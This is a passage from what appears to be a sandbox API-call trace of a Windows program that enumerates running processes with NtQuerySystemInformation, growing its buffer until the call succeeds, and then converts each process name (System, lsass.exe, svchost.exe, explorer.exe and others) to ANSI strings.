SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.843] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0062.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.843] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0062.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.843] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0062.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.843] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0062.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.844] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0062.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.844] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0062.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.844] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0062.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.845] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0062.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.845] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0062.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.845] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0062.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.846] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0062.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.846] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0062.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.846] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0062.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.847] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0062.847] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.847] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0062.847] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.847] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0062.847] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.848] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0062.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.848] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0062.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.849] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0062.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.849] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0062.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.850] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0062.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.850] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0062.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.850] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0062.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.851] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0062.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.851] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0062.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.853] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0062.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.854] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0062.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.855] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0062.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.855] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1e438) returned 0x3177e48 [0062.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0062.856] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1f45c) returned 0x3177e48 [0062.856] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0062.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0062.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175a98 [0062.857] RtlFreeAnsiString (AnsiString="System") [0062.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175a98) returned 1 [0062.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0062.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e20 [0062.857] RtlFreeAnsiString (AnsiString="smss.exe") [0062.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0062.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0062.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0062.857] RtlFreeAnsiString (AnsiString="csrss.exe") [0062.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0062.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0062.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0062.857] RtlFreeAnsiString (AnsiString="wininit.exe") [0062.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0062.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0062.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0062.857] RtlFreeAnsiString (AnsiString="csrss.exe") [0062.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0062.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0062.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0062.857] RtlFreeAnsiString (AnsiString="winlogon.exe") [0062.858] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.858] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0062.858] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0062.858] RtlFreeAnsiString (AnsiString="services.exe") [0062.858] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0062.858] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0062.858] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0062.858] RtlFreeAnsiString (AnsiString="lsass.exe") [0062.858] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0062.858] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.858] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0062.858] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.858] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0062.858] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0062.858] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0062.858] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0062.858] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0062.858] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0062.858] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0062.858] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0062.858] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.858] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.858] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0062.858] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.858] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0062.858] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0062.858] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175cf8 [0062.858] RtlFreeAnsiString (AnsiString="dwm.exe") [0062.859] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175cf8) returned 1 [0062.859] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.859] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0062.859] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.859] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0062.859] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.859] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0062.859] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.859] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0062.859] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.859] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0062.859] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.859] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.859] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.859] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0062.859] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.859] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.859] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.859] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0062.859] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.859] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0062.859] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.859] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0062.859] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.859] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0062.859] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.859] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0062.860] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.860] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0062.860] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.860] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0062.860] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.860] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.860] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.860] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0062.860] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.860] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0062.860] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0062.860] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0062.860] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0062.860] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.860] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.860] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0062.860] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.860] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.860] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.860] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0062.860] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.860] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0062.860] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0062.860] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0062.860] RtlFreeAnsiString (AnsiString="audiodg.exe") [0062.860] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0062.861] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0062.861] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161dc0 [0062.861] RtlFreeAnsiString (AnsiString="sihost.exe") [0062.861] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0062.861] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.861] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0062.861] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.861] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0062.861] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0062.861] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0062.861] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0062.861] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0062.861] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0062.861] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0062.861] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0062.861] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0062.861] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0062.861] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0062.861] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0062.861] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0062.861] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0062.861] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0062.861] RtlFreeAnsiString (AnsiString="explorer.exe") [0062.861] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0062.861] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0062.862] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x31713d0 [0062.862] RtlFreeAnsiString (AnsiString="Memory Compression") [0062.862] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0062.862] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0062.862] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31713d0 [0062.862] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0062.862] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0062.862] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0062.862] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0062.862] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0062.862] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0062.862] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0062.862] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x31713f0 [0062.862] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0062.862] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0062.862] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0062.862] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0062.862] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0062.862] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0062.862] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0062.862] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0062.862] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0062.862] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0062.862] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0062.862] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0062.862] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0062.863] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0062.863] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0062.863] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0062.863] RtlFreeAnsiString (AnsiString="msoia.exe") [0062.863] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0062.863] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0062.863] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0062.863] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0062.863] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0062.863] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0062.863] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0062.863] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0062.863] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0062.863] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 